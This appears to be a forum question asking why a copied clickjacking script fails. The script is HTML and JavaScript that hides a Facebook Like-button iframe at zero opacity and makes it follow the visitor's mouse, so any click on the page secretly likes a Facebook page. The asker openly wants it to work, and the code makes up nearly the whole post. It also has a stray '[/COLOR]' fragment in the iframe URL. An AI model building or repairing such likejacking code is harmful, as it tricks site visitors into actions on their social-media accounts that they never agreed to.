title: PHP script auto like Facebook page
body: <p>I want to Auto Like Facebook when Click anywhere or click on picture on this site you will automatically like this page.</p>
  
  <p>I copy code from <a href="http://geekhmer.github.io/blog/2013/10/02/facebook-fan-page-auto-like/" rel="nofollow">http://geekhmer.github.io/blog/2013/10/02/facebook-fan-page-auto-like/</a></p>
  
  <p>this my code. </p>
  
  <pre><code>&lt;!doctype html&gt;
  &lt;html lang="en"&gt;
  &lt;head&gt;
    &lt;meta charset="utf-8" /&gt;
    &lt;title&gt;&lt;/title&gt;
    &lt;script src="jquery-1.9.1.js" type="text/javascript"&gt;&lt;/script&gt;
    &lt;script type="text/javascript"&gt;
      var interval = 0;
      function updateActiveElement() {
        if($(document.activeElement).attr('id') == "fb-iframe") {
          clearInterval(interval);
          bodyClicked = true;
        }
      }
      $(function() {
        interval = setInterval("updateActiveElement();", 50);
      });
    &lt;/script&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;center&gt;
      &lt;h1&gt;Click anywhere on this site you will automatically like this page&lt;/h1&gt;
    &lt;/center&gt;
    &lt;div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="iframe-wrapper"&gt;
      &lt;iframe src="http://www.facebook.com/plugins/like.php?href=http://www.facebook.com/GeeKhmer[/COLOR]&amp;amp;layout=standard&amp;amp;show_faces=false&amp;amp;width=450&amp;amp;action=like&amp;amp;font=tahoma&amp;amp;colorscheme=light&amp;amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fb-iframe" name="fb-iframe"&gt;
      &lt;/iframe&gt;
    &lt;/div&gt;
  
    &lt;script type="text/javascript"&gt;
      var bodyClicked = false;
      var iframeWrapper = document.getElementById('iframe-wrapper');
      var standardBody=(document.compatMode=="CSS1Compat") ? document.documentElement : document.body 
  
      function mouseFollower(e) {
        // for internet explorer
        if (window.event) { 
          iframeWrapper.style.top = (window.event.y-5)+standardBody.scrollTop+'px';
          iframeWrapper.style.left = (window.event.x-5)+standardBody.scrollLeft+'px';
        }
        else {
          iframeWrapper.style.top = (e.pageY-5)+'px';
          iframeWrapper.style.left = (e.pageX-5)+'px';
        }
      }
      document.onmousemove = function(e) {
        if(bodyClicked == false) {
          mouseFollower(e);
        }
      }
    &lt;/script&gt;
  &lt;/body&gt;
  &lt;/html&gt;
  </code></pre>
  
  <p>but it's not working,How can I make this log in work?
  :) Thank you</p>